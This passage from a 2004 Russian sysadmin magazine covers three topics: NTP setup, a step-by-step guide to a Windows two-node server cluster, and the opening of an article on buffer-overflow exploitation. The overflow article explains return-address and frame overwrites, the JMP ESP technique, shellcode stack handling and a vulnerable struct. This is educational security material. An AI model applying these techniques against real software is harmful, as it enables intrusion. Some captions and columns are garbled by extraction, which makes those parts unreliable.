что запрет по умолчанию, имеющий более высокий при-
оритет, закомментирован:
#restrict default ignore
После сохранения файла ntp.conf настройку можно
считать оконченной, однако может так получиться, что пос-
ле запуска демона время все еще не будет синхронизи-
роваться. Дело в том, что протокол NTP изначально раз-
рабатывался как протокол поддержания времени, а не его
установки. Поэтому, если разница между показаниями
часов достаточно велика (более чем несколько минут), то
синхронизация производиться не будет. В этом случае
имеет смысл первоначально установить время вручную
при помощи команды ntpdate (также можно добавить ко-
манду ntpdate в стартовые скрипты машины):
[root@nix]# ntpdate navobs1.wustl.e
[root@nix]# ntpdate navobs1.wustl.e
[root@nix]# ntpdate navobs1.wustl.e
Запуск ntp-демона производится через инициализаци-
онные скрипты. Если программа устанавливалась из rpm-
пакета, то скорее всего все вопросы, связанные с ее ав-
томатическим запуском, уже решены. Для того чтобы в
этом убедиться, можно воспользоваться командой:
[root@nix tmp]# chkconfig –list ntpd
Если вы не видите этой строки, значит, автоматический
20
запуск ntpd не настроен. Чтобы это исправить, наберите:
[root@nix tmp]# chkconfig –level 035 ntpd on
Для управления NTP (старт, запуск, перезапуск, статус)
используются стандартный инициализационный скрипт:
[root@nix]# /etc/init.d/ntpd start
Для просмотра статистики синхронизации сервера
можно воспользоваться следующей командой:
[root@nix]# ntpq -p
Режимы работы NTP сервера/клиента
Клиент/сервер
Этот режим на сегодняшний день наиболее часто исполь-
зуется в сети Интернет. Схема работы – классическая. Кли-
ент посылает запрос, на который в течение некоторого вре-
мени сервер присылает ответ. Настройка клиента произ-
водится с помощью директивы server в конфигурационном
файле, где указывается DNS имя сервера времени.
Симметричный активный/пассивный режим
Этот режим используется в том случае, если производит-
ся синхронизация времени между большим количеством
равноправных машин. Помимо того, что каждая машина
синхронизируется с внешним источником, она также осу-
ществляет синхронизацию со своими соседями (peer),
выступая для них в качестве клиента и сервера времени.
Поэтому даже если машина «потеряет» внешний источ-
ник, она все еще сможет получить точное время от своих
соседей. Соседи могут работать в двух режимах – актив-
ном и пассивном. Работая в активном режиме, машина
сама передает свое время всем машинам-соседям, пере-
численным в секции peers конфигурационного файла
ntp.conf. Если же в этой секции соседи не указаны, то счи-
тается, что машина работает в пассивном режиме. Для
того чтобы злоумышленник не смог скомпрометировать
другие машины, представившись в качестве активного
источника, необходимо использовать аутентификацию.
Режим Broadcast
Этот режим рекомендуется использовать в тех случаях,
когда малое количество серверов обслуживает большое
количество клиентов. Работая в этом режиме, сервер пе-
риодически рассылает пакеты, используя широковеща-
тельный адрес подсети. Клиент, настроенный на синхро-
низацию таким способом, получает широковещательный
пакет сервера и производит синхронизацию с сервером.
Особенностью этого режима является то, что время дос-

тавляется в рамках одной подсети (ограничение broadcast-
пакетов). Кроме того, для защиты от злоумышленников
необходимо использовать аутентификацию.
Режим Multicast
Данный режим во многом похож на broadcast. Отличие зак-
лючается в том, что для доставки пакетов используются
multicast-адреса сетей класса D адресного пространства
IP-адресов. Для клиентов и серверов задается адрес
multicast-группы, которую они используют для синхрони-
зации времени. Это делает возможным синхронизацию
групп машин, расположенных в различных подсетях, при
условии, что соединяющие их маршрутизаторы поддер-
живают протокол IGMP и настроены на передачу группо-
вого трафика.
Часто возникающие вопросы
Почему после команды net time /setsntp:server время не
синхронизируется?
! Убедитесь, что для службы w32time задан тип запуска
«Автоматически».
! Убедитесь, что порт UDP 123 используемого NTP-сер-
вера доступен.
! Убедитесь, что время между клиентом и сервером не
отличается слишком сильно.
Может ли SNTP-клиент синхронизироваться с NTP-серве-
ром?
! Да, может, так как протокол SNTP является подмно-
жеством NTP и полностью с ним совместим.
Можно ли использовать NTP-сервер от третьих произво-
дителей в ОС Windows 2000/XP/2003?
! Да, можно воспользоваться любым сервером, платным
или бесплатным. Предварительно следует отключить
соответствующие компоненты (клиентские или сервер-
ные) службы Windows Time.
Почему NTP-клиент не работает на компьютере с установ-
ленным MS SQL Server?
! Скорее всего проблема заключается в том, что SQL
Server каким-либо образом занимает порт UDP 123. В
качестве решения можно предложить запуск клиента
NTP до MS SQL Server.
Демона ntpd после запуска работает 10-20 минут, после
чего останавливается. В чем может быть проблема?
Серверы времени
Первичные серверы:
! ntp0.cs.mu.OZ.AU
! clock.uregina.ca
! ntp.metas.ch
! rustime01.rus.uni-stuttgart.de
! chronos.cru.fr
! ntp2.usno.navy.mil
Вторичные серверы:
! tock.nap.com.ar
№4(17), апрель 2004
администрирование
Режим Manycast
Этот режим является нововведением четвертой версии
протокола NTP. Он подразумевает поиск клиентом среди
своих сетевых соседей manycast-серверов, получение от
каждого из них образцов времени (с использованием крип-
тографии) и выбор на основании этих данных трех «луч-
ших» manycast-серверов, с которыми клиент будет произ-
водить синхронизацию. В случае выхода из строя одного
из серверов клиент автоматически обновляет свой список.
Для передачи образцов времени клиенты и серверы,
работающие в manycast-режиме, используют адреса
multicast-групп (сети класса D). Клиенты и серверы, ис-
пользующие один и тот же адрес, формируют одну ассо-
циацию. Количество ассоциаций определяется количе-
ством используемых multicast-адресов.
! Убедитесь, что время клиента и сервера отличается
не слишком сильно (не более 5 минут). В противном
случае выполните принудительную синхронизацию при
помощи ntpdate.
Демон ntpd настроен, но при этом время, кажется, не синх-
ронизируется.
! Возможно, проблема в том, что порт UDP 123 зак-
рыт firewall. В этом случае информация, выводимая
ntpq –p, будет примерно следующей:
Можно ли синхронизировать время в OS Windows NT4,
95, 98, Me?
! Можно, при помощи программ третьих фирм, например,
NetTime, Automacahron, World Time5, ntpd Windows NT port.
При попытке входа в домен Windows появляется сообще-
ние, что время между контроллером домена и рабочей
станцией отличается слишком сильно, при том, что синх-
ронизация точно настроена.
! Скорее всего проблема в том, что время сбилось очень
сильно (сброс CMOS, хакерская диверсия) и службе
не удается пройти аутентификацию по протоколу
Kerberos. Для решения этой проблемы нужно либо
вручную подвести время, либо не использовать этот
вид аутентификацию при обновлении времени.
! ntp.saard.net
! ntp1.belbone.be
! ntp.cais.rnp.br
! ntp.hiway.com.br
! time2.one4vision.de
! ntp.psn.ru
! sign.chg.ru
! ntp.rinet.ru
! ntp.demos.ru
Новейший список серверов можно узнать по адресу:
http://www.eecis.udel.edu/~mills/ntp.
21
администрирование

СОЗДАНИЕ КЛАСТЕРА
НА БАЗЕ WINDOWS 2000/2003.
ШАГ ЗА ШАГОМ

ГЕННАДИЙ ДМИТРИЕВ
22

Кластер – это группа из двух или более серверов, дей-
ствующих совместно для обеспечения безотказной рабо-
ты набора приложений или служб и воспринимаемых кли-
ентом как единый элемент. Узлы кластера объединяются
между собой с помощью аппаратных сетевых средств,
совместно используемых разделяемых ресурсов и сервер-
ного программного обеспечения.
Microsoft Windows 2000/2003 поддерживает две техно-
логии кластеризации: кластеры с балансировкой нагруз-
ки (Network Load Balancing) и кластеры серверов.
В первом случае (кластеры с балансировкой нагруз-
ки) служба Network Load Balancing придает службам и при-
ложениям свойства высокого уровня надежности и масш-
табируемости за счет объединения до 32 серверов в еди-
ный кластер. Запросы от клиентов в данном случае рас-
пределяются среди узлов кластера прозрачным образом.
При отказе узла кластер автоматически изменяет свою
конфигурацию и переключает клиента на любой из дос-
тупных узлов. Этот режим конфигурации кластера также
называется active-active режимом, когда одно приложение
работает на нескольких узлах.
Кластер серверов распределяет свою нагрузку среди
серверов кластера, причем каждый сервер несет свою соб-
ственную нагрузку. Если происходит отказ узла в класте-
ре, то приложения и службы, настроенные на работу в кла-
стере, прозрачным образом перезапускаются на любом из
свободных узлов. Кластеры серверов используют разде-
ляемые диски для обмена данными внутри кластера и для
обеспечения прозрачного доступа к приложениям и служ-
бам кластера. Для них требуется специальное оборудова-
ние, но данная технология обеспечивает очень высокий
уровень надежности, поскольку сам кластер не имеет ка-
кой-либо единственной точки отказа. Этот режим конфи-
гурации кластера также называется active-passive режимом.
Приложение в кластере работает на одном узле с общими
данными, расположенными на внешнем хранилище.
Кластерный подход к организации внутренней сети
дает следующие преимущества:
! Высокий уровень готовности.
То есть, если происходит сбой службы или приложе-
ния на каком-то узле кластера, настроенного на совме-
стную работу в кластере, кластерное программное
обеспечение позволяет перезапустить это приложение
на другом узле. Пользователи при этом ощутят крат-
ковременную задержку при проведении какой-то опе-
рации либо вообще не заметят серверного сбоя.
! Масштабируемость.
Для приложений, работающих в кластере, добавление
серверов к кластеру означает увеличение возможнос-
тей: отказоустойчивости, распределение нагрузки и т. д.
! Управляемость.
Администраторы, используя единый интерфейс, могут
управлять приложениями и службами, устанавливать
реакцию на сбой в узле кластера, распределять нагруз-
ку среди узлов кластера и снимать нагрузку с узлов
для проведения профилактических работ.
В этой статье я попытаюсь собрать свой опыт по со-
зданию кластерных систем на базе Windows и дать не-
№4(17), апрель 2004
администрирование
большое пошаговое руководство по созданию двухузлово-
го кластера серверов с разделяемым хранилищем данных.
Системные рекомендации
Требования к программному обеспечению:
! Microsoft Windows 2000 Advanced (Datacenter) Server
или Microsoft Windows 2003 Server Enterprise Edition, ус-
тановленные на всех серверах кластера.
! Установленная служба DNS. Немного поясню. Если вы
строите кластер на основе двух контроллеров домена,
то намного удобнее использовать службу DNS, кото-
рую вы в любом случае устанавливаете при создании
Active Directory. Если вы создаете кластер на основе
двух серверов, членов Windows NT домена, то вам при-
дется использовать либо службу WINS, либо заносить
соответствие имен и адресов машин в файл hosts.
! Terminal Services для удаленного управления сервера-
ми. Не обязательно, но при наличии Terminal Services
удобно управлять серверами со своего рабочего места.
Требования к аппаратному обеспечению:
! Аппаратное обеспечение для узла кластера лучше под-
бирать, основываясь на Cluster Service Hardware
Compatible List (HCL). По рекомендациям Microsoft ап-
паратное обеспечение должно быть протестировано на
совместимость с Cluster Services.
! Соответственно вам понадобятся два сервера, имею-
щих по два сетевых адаптера; SCSI-адаптер, имеющий
внешний интерфейс для подключения внешнего мас-
сива данных.
! Внешний массив, имеющий два внешних интерфейса.
Каждый из узлов кластера подключается к одному из
интерфейсов.
Замечание: для создания двухузлового кластера со-
всем не обязательно иметь два абсолютно одинаковых
сервера. После сбоя на первом сервере у вас будет не-
много времени, чтобы проанализировать и восстановить
работу основного узла. Второй же узел будет работать на
безотказность системы в целом. Однако это не означает,
что второй сервер будет простаивать. Оба узла кластера
могут спокойно заниматься своими делами, решать раз-
ные задачи. А вот некий критический ресурс мы и можем
настроить на работу в кластере, увеличив его (этого ре-
сурса) отказоустойчивость.
Требования к сетевым настройкам:
! Уникальное NetBIOS имя для кластера.
! Пять уникальных статических IP-адресов. Два для се-
тевых адаптеров на кластерную сеть, два для сетевых
адаптеров на общую сеть и один для кластера.
! Доменная учетная запись для кластерного сервиса
(Cluster service).
! Все узлы кластера должны быть либо member server в
домене, либо контроллерами домена.
! Каждый сервер должен иметь два сетевых адаптера.
Один для подключения в общую сеть (Public Network),
второй для обмена данными между узлами кластера
(Private Network).
23
 администрирование
Замечание: по рекомендациям Microsoft ваш сервер
должен иметь два сетевых адаптера, один для общей сети,
второй для обмена данными внутри кластера. Можно ли
строить кластер на одном интерфейсе – наверное, да, но
я не пробовал.
! Установка и настройка узлов в кластере.
! Установка и настройка разделяемого ресурса.
! Проверка дисковой конфигурации.
! Конфигурирование первого узла кластера.
! Конфигурирование второго узла в кластере.

Это пошаговое руководство позволит вам избежать

Установка кластера
При проектировании кластера вы должны понимать, что,
используя одну физическую сеть как для кластерного об-
мена, так и для локальной сети, вы увеличиваете процент
отказа всей системы. Поэтому крайне желательно для кла-
стерного обмена данными использовать одну подсеть, вы-
деленную в отдельный физический элемент сети. А для ло-
кальной сети стоит использовать другую подсеть. Тем са-
мым вы увеличиваете надежность всей системы в целом.
В случае построения двухузлового кластера один ком-
мутатор используется общей сетью. Два сервера класте-
ра можно связать между собой кросс-кабелем напрямую,
как показано на рисунке.
Установка двухузлового кластера может быть разде-
лена на 5 шагов.
External RAID
ошибок во время установки и сэкономить массу времени.
Итак, начнем.
Установка и настройка узлов
Мы немного упростим задачу. Поскольку все узлы клас-
тера должны быть либо участниками домена, либо кон-
троллерами домена, то корневым держателем каталога
AD (Active Directory) сделаем 1-й узел кластера, на нем же
будет работать DNS-служба. 2-й узел кластера будет пол-
ноправным контроллером домена.
Установку операционной системы я готов пропустить,
полагая, что в этом у вас не должно быть каких-то про-
блем. А вот конфигурацию сетевых устройств хочется
пояснить.

SCSI Connection SCSI Connection

Private Cluster Private Cluster

connection connection
Cluster node
Cluster node IP: 192.168.30.1 IP: 192.168.30.2 2
1 MASK: 255.255.255.252 MASK: 255.255.255.252
DNS: 192.168.100.1 DNS: 192.168.100.1

Cluster network
192.168.30.0/30

Public Cluster
Public Cluster
Public network connection
connection
192.168.100.0/24
IP: 192.168.100.2
IP: 192.168.100.1 MASK: 255.255.255.0
MASK: 255.255.255.0
DNS: 192.168.100.1
DNS: 192.168.100.1

Client node
Client node N
1

Ñõåìà äâóõóçëîâîãî êëàñòåðà íà áàçå Windows 2000/2003 ñ âíåøíèì ìàññèâîì äàííûõ

24

Сетевые настройки
Перед началом установки кластера и Active Directory не-
обходимо выполнить сетевые настройки. Все сетевые на-
стройки хочется разделить на 4 этапа. Для распознава-
ния имен в сети желательно иметь DNS-сервер с уже су-
ществующими записями о серверах кластера.
Каждый сервер имеет по две сетевые карты. Одна се-
тевая карта будет служить для обмена данными между уз-
лами кластера, вторая будет работать на клиентов в на-
шей сети. Соответственно первый назовем Private Cluster
Connection, второй назовем Public Cluster Connection.
Настройки сетевых адаптеров для одного и для друго-
го сервера идентичны. Соответственно я покажу, как на-
строить сетевой адаптер и дам табличку с сетевыми на-
стройками всех 4 сетевых адаптеров на обоих узлах кла-
стера. Для настройки сетевого адаптера необходимо вы-
полнить следующие шаги:
! My Network Places → Properties.
! Private Cluster Connection → Properties → Configure →
Advanced. Этот пункт требует пояснений. Дело в том,
что по настоятельным рекомендациям Microsoft на всех
сетевых адаптерах узлов кластера должна быть уста-
новлена оптимальная скорость работы адаптера, как
показано на следующем рисунке.
№4(17), апрель 2004
администрирование
! Internet Protocol (TCP/IP) → Properties → Use the following
IP: 192.168.30.1. (Для второго узла используйте адрес
192.168.30.2). Введите маску подсети 255.255.255.252.
В качестве адреса DNS-сервера для обоих узлов ис-
пользуйте адрес 192.168.100.1.
! Дополнительно на вкладке Advanced → WINS выберите
пункт Disabled NetBIOS over TCP/IP. Для настроек сете-
вых адаптеров общей (Public) сети этот пункт опустите.
! Проделайте то же самое с сетевой картой для локаль-
ной сети Public Cluster Connection. Используйте адре-
са, приведенные в табличке. Единственная разница в
конфигурации двух сетевых плат состоит в том, что для
Public Cluster Connection не требуется выключения ре-
жима WINS – NetBIOS over TCP/IP.
Для конфигурирования всех сетевых адаптеров на уз-
лах кластера используйте следующую табличку:
Установка Active Directory
Поскольку моя статья не преследует цель рассказать об
установке Active Directory, то этот пункт я опущу. Всевоз-
можных рекомендаций, книг об этом написано достаточно
много. Выберете доменное имя, вроде mycompany.ru, уста-
новите Active Directory на первом узле, добавьте второй узел
в домен в качестве контроллера домена. Когда все сде-
лаете, проверьте конфигурации серверов, Active Directory.
Установка Cluster User Account
По рекомендациям Microsoft для Cluster Service следует
создать отдельную учетную запись, от имени которой он
будет работать. Эта учетная запись должна быть создана
до установки Cluster Service:
25
 администрирование
! Start → Programs → Administrative Tools → Active Directory
Users and Computers.
! Добавьте нового пользователя, например, ClusterService.
! Установите флажки на: User Cannot Change Password
и Password Never Expires.
! Также добавьте этого пользователя в группу админис-
траторов и дайте ему права «Log on as a service» (пра-
ва назначаются в «Local Security Policy» и «Domain
Controller Security Policy»).
Настройка внешнего массива данных
Для настройки внешнего массива данных в кластере не-
обходимо помнить, что перед установкой Cluster Service
на узлах вы должны сначала сконфигурировать диски на
внешнем массиве, только потом устанавливать службу
кластера сначала на первом узле, только потом на вто-
ром. В случае нарушения порядка установки у вас про-
изойдет сбой, и вы не достигнете цели. Можно ли будет
исправить – наверное, да. Когда появится ошибка, у вас
будет время, чтобы поправить настройки. Но Microsoft
столь загадочная штука, что совсем не знаешь, на какие
грабли наступишь. Проще иметь перед глазами пошаго-
вую инструкцию и не забывать нажимать на кнопки. По
шагам конфигурирование внешнего массива выглядит так:
! Оба сервера должны быть выключены, внешний мас-
сив включен, подсоединен к обоим серверам.
! Включаем первый сервер. Получаем доступ к диско-
вому массиву.
! Проверяем, чтобы внешний дисковый массив был со-
здан как Basic. Если это не так, то переведем диск с
помощью опции Revert to Basic Disk.
! Создаем на внешнем диске через Computer Manage-
ment → Disk Management небольшой раздел. По реко-
мендациям Microsoft он должен быть не менее 50 Мб. Я
рекомендую создать раздел в 500 Мб или чуть больше.
Для размещения кластерных данных этого вполне дос-
таточно. Раздел должен быть отформатирован в NTFS.
! На обоих узлах кластера этот раздел будет назван од-
ной буквой, например, Q. Соответственно при созда-
нии раздела на первом сервере выберем пункт Assign
the following drive letter – Q.
! Оставшуюся часть диска вы можете разметить по сво-
ему желанию. Конечно, крайне желательно использо-
вать файловую систему NTFS. Например, при настрой-
ке служб DNS, WINS основные базы служб будут пере-
несены на общий диск (не системный том Q, а второй,
созданный вами). И по соображению безопасности вам
будет удобнее использовать именно NTFS-тома.
26
! Закрываем Disk Management и проверяем доступ к
вновь созданному разделу. Например, можно создать
на нем текстовый файл test.txt, записать и удалить.
Если все прошло нормально, то с конфигурацией внеш-
него массива на первом узле мы закончили.
! Теперь выключаем первый сервер. Внешний массив
должен быть включен. Включаем второй сервер и про-
веряем доступ к созданному разделу. Также проверим,
чтобы буква, назначенная первому разделу, была иден-
тична выбранной нами, то есть Q.
На этом конфигурация внешнего массива завершена.
Установка Cluster Service Software
Конфигурация первого узла кластера
Перед началом установки Cluster Service Software все узлы
кластера должны быть выключены, все внешние масси-
вы должны быть включены. Перейдем к конфигурации
первого узла. Внешний массив включен, первый сервер
включен. Весь процесс установки происходит с использо-
ванием Cluster Service Configuration Wizard:
! Start → Setting → Control Panel → Add/Remove Programs.
! Выбираем Add/Remove Windows Components.
! Выберем Cluster Service и нажмем Next. Во время ус-
тановки система попросит указать расположение фай-
лов с дистрибутива, соответственно либо воспользу-
емся CD-ROM-диском, либо укажем расположение
файлов на локальном диске.
! На экране появится диалоговое окно с текстом пример-
но следующего содержания: вы должны понимать, что
используете железо, рекомендованное и тестированное
Microsoft в кластерных системах. Соответственно все
компоненты системы должны быть перечислены в HCL
(Hardware Compatibility List). Нажимаем I Understand и
следуем дальше.
! В следующем диалоговом окне выбираем The first node
in the cluster, как показано на следующем рисунке.
! В следующем окне введите имя кластера, например,
MyCluster, и нажмите далее.
! Введите имя пользователя и пароль, от имени которо-
го будет работать Cluster Service. Если помните, не-
сколько шагов назад мы создавали такого пользова-
теля и назвали его ClusterService. Введите domain name
(mycompany.ru) и нажмите «NEXT».
 администрирование

! Для внешнего сетевого адаптера (локальная сеть) ус-

танавливаем следующие параметры: Enable this network
for cluster use и All communications (mixed network), как
показано на рисунке:

! На следующем этапе вас попросят сконфигурировать

кластерные диски. Соответственно диск Q, который мы
создавали, будет использоваться для обмена данны-
ми между узлами кластера. Как показано на рисунке,
выберите диск Q и нажмите «NEXT».
! В этом примере мы сконфигурировали два сетевых
адаптера на одном узле кластера. Один из них Public
Cluster Connection используется для обмена данными в
локальной сети. Второй – Private Cluster Connection ис-
пользуется для обмена данными внутри кластера. Пос-
ле конфигурации сетевых адаптеров нажмем далее и
перейдем к конфигурации IP-адреса кластера. Введем
уникальный IP-адрес (192.168.100.5) и маску подсети
(255.255.255.0), как показано на следующем рисунке.

! Следующий шаг – это конфигурирование сетевых

адаптеров для использования в кластере. Для внутрен-
него сетевого адаптера, используемого для кластер-
ного обмена данными между узлами внутри кластера,
выбираем пункты, как показано на следующем рисун-
ке (Enable this network for cluster use и Internal cluster
communications only):

№4(17), апрель 2004 27

 администрирование
! После завершения установки Cluster Service Software периментировали с серверами WINS и DHCP, длитель-
на первом узле, система автоматически присвоит выб- ность реакции на отказ сервиса не превышала 1.5 секунд.
ранный IP-адрес нашему кластеру, сконфигурирует се- А время реакции Exchange-сервера составляла около 10
тевые адаптеры и сетевые диски. После завершения секунд, это выражалось в небольшом тайм-ауте в работе
установки можно использовать Cluster Administrator для клиента.
управления ресурсами кластера. По завершении всех этих операций вы получите пол-
ностью работающий двухузловой кластер. В качестве ре-
сурсов кластера можно использовать внутренние службы
WINS, DNS, DHCP, можно настроить IIS-сервер на работу
внутри кластера. Можно использовать внешние приложе-
ния, главное, чтобы они поддерживали кластерные тех-
нологии Microsoft. Можно бесконечно долго спорить о том,
нужна ли данная технология. На мой взгляд, каждое ре-
шение должно быть обосновано и грамотно реализовано.
Я лишь попытался поделиться своим опытом создания
такой системы.
Хочется выразить глубокую благодарность за неоце-
нимую интеллектуальную помощь Андрееву Павлу, сис-
Конфигурация второго узла кластера темному администратору Novavox.
Для установки и конфигурирования второго узла класте-
ра необходимо, чтобы первый узел был включен, все се-
тевые диски были включены. Процедура настройки вто-
рого узла очень напоминает ту, что я описал выше. Одна-
ко есть небольшие изменения. Для этого используйте сле-
дующую инструкцию:
! В диалоговом окне Create or Join a Cluster выберите
The second or next node in the cluster и нажмите далее.
! Введите имя кластера, которое мы задали ранее (в при-
мере это MyCluster), и нажмите далее.
! После подключения второго узла к кластеру Cluster
Service Configuration Wizard автоматически заберет
все установки с основного узла. Для запуска службы
Cluster Service используйте имя, которые мы созда-
вали ранее.
! Введите пароль вашей учетной записи и нажмите да-
лее.
! В следующем диалоговом окне нажмите Finish для за-
вершения установки.
! Cluster service будет запушен на втором узле.
! Закройте окно Add/Remove Programs.

Для установки дополнительных узлов кластера исполь-

зуйте эту же инструкцию.

Постскриптум, благодарности
и прочее
Чтобы вам не запутаться со всеми этапами установки кла-
стера, приведу небольшую табличку, в которой отражены
все основные этапы.
Время реакции кластера на непредвиденные ситуации
зависит от множества параметров. Это тип ресурса, свой-
ства ресурса, свойства группы ресурсов и времени, необ-
ходимого ресурсу на загрузку. Например, загрузка базы
данных сервера DHCP происходит достаточно быстро. Од-
нако перевод Exchange-сервера может занять до несколь-
ких секунд. Это время, необходимое Exchange-серверу
произвести быструю проверку целостности базы и загру-
зить все необходимые компоненты. В частности, мы экс-

28
безопасность

ОШИБКИ ПЕРЕПОЛНЕНИЯ БУФЕРА ИЗВНЕ И ИЗНУТРИ

КАК ОБОБЩЕННЫЙ ОПЫТ РЕАЛЬНЫХ АТАК
ЧАСТЬ 2

Рассматривая различные механизмы переполнения и обсуждая их возможные последствия,

ранее мы не касались таких «организационных» вопросов, как, например, порядок размещения
переполняющихся буферов, затираемых переменных и служебных структур данных в оперативной
памяти. Теперь пришло время восполнить этот пробел.

КРИС КАСПЕРСКИ
30

В стеке…
Переполнения автоматических буферов наиболее часты
и наиболее коварны. Часты – потому что размер таких
буферов жестко (hardcoded) определяется еще на этапе
компиляции, а процедура проверки корректности обраба-
тываемых данных зачастую отсутствует или реализована
с грубыми ошибками. Коварны – потому что в непосред-
ственной близости от автоматических буферов присут-
ствует адрес возврата из функции, модификация которо-
го позволяет злоумышленнику осуществить передачу уп-
равления на произвольный код.
Еще в стеке содержится указатель на фрейм (он же
кадр) материнской функции, сохраняемый компилятором
перед открытием фрейма дочерней функции. Вообще-то
оптимизирующие компиляторы, поддерживающие техно-
логию «плавающих» фреймов, обходятся и без этого, ис-
пользуя регистр-указатель вершины кадра как обычный
регистр общего назначения, однако даже поверхностный
анализ обнаруживает большое количество уязвимых при-
ложений с кадром внутри, так что этот прием атаки все
еще остается актуальным. Модификация кадра стека сры-
вает адресацию локальных переменных и аргументов
материнской функции и дает возможность управлять ими
по своему усмотрению. Установив кадр материнской фун-
кции на «свой» буфер, злоумышленник может положить в
материнские переменные (аргументы) любые значения (в
том числе и заведомо некорректные, поскольку проверка
допустимости аргументов обычно выполняется до вызо-
ва дочерних функций, а корректность автоматических пе-
ременных после их инициализации проверяют только па-
раноики). Внимание! Поскольку после возврата из дочер-
ней функции все принадлежащие ей локальные перемен-
ные автоматически освобождаются, использовать дочер-
ний буфер для хранения материнских переменных нельзя
(точнее, не рекомендуется, но если действовать осторож-
но, то можно). Обратитесь к куче, статической памяти или
автоматической памяти параллельного потока, воздей-
ствуя на нее косвенным образом.
Выше кадра стека располагаются сохраненные значе-
ния регистров, восстанавливаемые при выходе из функ-
ции. Если материнская функция хранит в одном или не-
скольких таких регистрах критические переменные (напри-
мер, указатели, в которые что-то записывается), мы можем
свободно воздействовать на них по своему усмотрению.
Дальше начинается область, «оккупированная» ло-
кальными переменными (и переполняющимся буфером в
том числе). В зависимости от прихоти компилятора пос-
ледний может быть расположен как наверху кадра стека,
так и в гуще локальных переменных – это уже как пове-
зет (или не повезет – с точки зрения жертвы). Перемен-
ные, находящиеся «ниже» переполняющегося буфера,
могут быть затерты при последовательном переполне-
нии – самом распространенном типе переполнения. Пе-
ременные, находящиеся «выше» переполняющегося бу-
фера, затираются лишь индексным переполнением, кото-
рое чрезвычайно мало распространено.
Наконец, выше кадра стека находятся только небо и
звезды, пардон – свободное стековое пространство. За-
тирать тут особенно нечего, и эта область памяти исполь-
№4(17), апрель 2004
безопасность
зуется в основном для служебных нужд shell-кода. При
этом следует учитывать, что:
а) объем стека не безграничен и упирается в определен-
ный лимит, так что выделять гигабайты памяти все-
таки не стоит;
б) если один из спящих объектов процесса-жертвы нео-
жиданно проснется, содержимое свободной стековой па-
мяти окажется искаженным, и чтобы этого не случилось,
shell-код должен подтянуть регистр ESP к верхнему уров-
ню, резервируя необходимое количество байт памяти;
в) поскольку стековая память, принадлежащая потоку,
выделяется динамически по мере его распухания, лю-
бая попытка выхода за пределы сторожевой страницы
(page guard) завершается исключением, поэтому либо
не запрашивайте более 4 Кб, либо прочитайте хотя бы
по одной ячейке из каждой резервируемой страницы,
двигаясь снизу вверх. Подробнее об этом можно про-
читать у Рихтера.
В зависимости от ограничений, наложенных на пре-
дельно допустимую длину переполняющегося буфера,
могут затираться те или иные локальные переменные или
служебные структуры данных. Очень может статься, что
до адреса возврата просто не удастся «дотянуться», а
даже если и удастся – не факт, что функция не грохнется
задолго до своего завершения. Допустим, за концом стро-
кового переполняющегося буфера располагается указа-
тель, из которого после переполнения что-то читается (за-
писывается). Поскольку переполнение буфера неизбеж-
но затирает указатель, любая попытка чтения оттуда вы-
зывает немедленное исключение и – как следствие – ава-
рийное завершение программы. Причем затереть адрес
возврата, подсунув указателю корректный адрес, скорее
всего не удастся, т.к. в операционных системах семейства
Windows все гарантированно доступные адреса лежат
значительно ниже 01010101h – наименьшего адреса, ко-
торый только можно внедрить в середину строкового бу-
фера (подробнее см. «Запрещенные символы»). Так что
буфера, расположенные внизу кадра стека, для перепол-
нения все же предпочтительнее.
За концом адреса возврата начинается область памя-
ти, принадлежащая материнским функциям и содержащая
аргументы дочерней функции, автоматические переменные
материнской функции, сохраненные регистры/кадр стека
проматеринской функции/адрес возврата в праматеринс-
кую функции и т. д. Теоретически переполняющийся буфер
может все это затереть (ну бывают же такие буйные буфе-
ра), практически же – это либо не нужно, либо неосуще-
ствимо. Если мы можем навязать программе корректный
адрес возврата (т.е. адрес возврата, указывающий на shell-
код или любую точку «родного» кода программы), то в ма-
теринскую функцию она уже не вернется, и все махинации
с материнскими переменными останутся незамеченными.
Если же навязать корректный адрес возврата по тем или
иным причинам невозможно, то материнская функция тем
более не сможет получить управления.
Намного большую информацию несет чтение материн-
ской области памяти (см. «Указатели и индексы» в пре-
дыдущей статье данного цикла) – здесь действительно
31
 безопасность
можно встретить много чего интересного. Конфиденци-
альные данные (типа паролей и номеров кредитных карт),
дескрипторы секретных файлов, которые невозможно от-
крыть обычным образом, сокеты установленных TCP-со-
единений (почему бы их не использовать для обхода бран-
дмауэров?) и т. д.
Модификация аргументов дочерней функции менее
перспективна, хотя временами и бывает полезной. Среди
аргументов Си/Си++ программ традиционно много указа-
телей. Обычно это указатели на данные, но встречаются
и указатели на код. Последние наиболее перспективны,
поскольку позволяют захватывать управление програм-
мой до ее обрушения. Указатели на данные, конечно, тоже
хороши (особенно те из них, что позволяют записывать
по навязанным адресам навязанные данные, т.е. работа-
ют как Бейсик-функция POKE), однако, чтобы дотянуться
до своих аргументов при последовательном переполне-
нии уязвимого буфера, необходимо пересечь ячейки па-
мяти, занятые адресом возврата…
Ðèñóíîê 1. Êàðòà ðàñïðåäåëåíèÿ ñòåêîâîé ïàìÿòè
В затирании адреса возврата есть одна интересная
тонкость: адрес возврата – это абсолютный адрес, и если
мы хотим передать управление непосредственно на сам
переполняющийся буфер, нам либо приходится надеять-
ся на то, что в уязвимой программе переполняющийся
буфер окажется по такому-то адресу (а это не факт), либо
искать механизм передачи управления на вершину стека.
Червь Love San решает проблему путем подмены ад-
реса возврата на адрес машинной инструкции JMP ESP,
расположенной во владениях операционной системы.
Недостатки такой методики очевидны: во-первых, она не
срабатывает в тех случаях, когда переполняющийся бу-
фер расположен ниже вершины стека, а, во-вторых, мес-
тоположение инструкции JMP ESP тесно связано с верси-
ей операционной системы, и получается, как в той пого-
ворке, «за что боролись, на то и напоролись». К сожале-
нию, более прогрессивных методик передачи управления
пока не придумано…
32
В куче…
Буфера, расположенные в динамической памяти, также
подвержены переполнению. Многие программисты, лени-
вые от природы, сначала выделяют буфер фиксирован-
ного размера, а затем определяют, сколько памяти им не-
обходимо, причем ситуацию недостатка памяти обрабо-
тать традиционно забывают. В куче чаще всего встреча-
ются переполняющиеся буфера двух типов: элементы
структур и динамически выделяемые блоки памяти.
Допустим, в программе имеется структура demo, со-
держащая в том числе и буфер фиксированного размера:
Ëèñòèíã 1. Ïðèìåð ñòðóêòóðû ñ ïåðåïîëíÿþùèìñÿ áóôåðîì âíóò-
ðè (îí âûäåëåí êðàñíûì öâåòîì)
strict demo
{
int a;
char buf[8];
int b;
}
Неосторожное обращение с обрабатываемыми данны-
ми (например, отсутствие нужных проверок в нужном ме-
сте) может привести к возможности переполнения буфе-
ра buf и как следствие – затиранию расположенных за ним
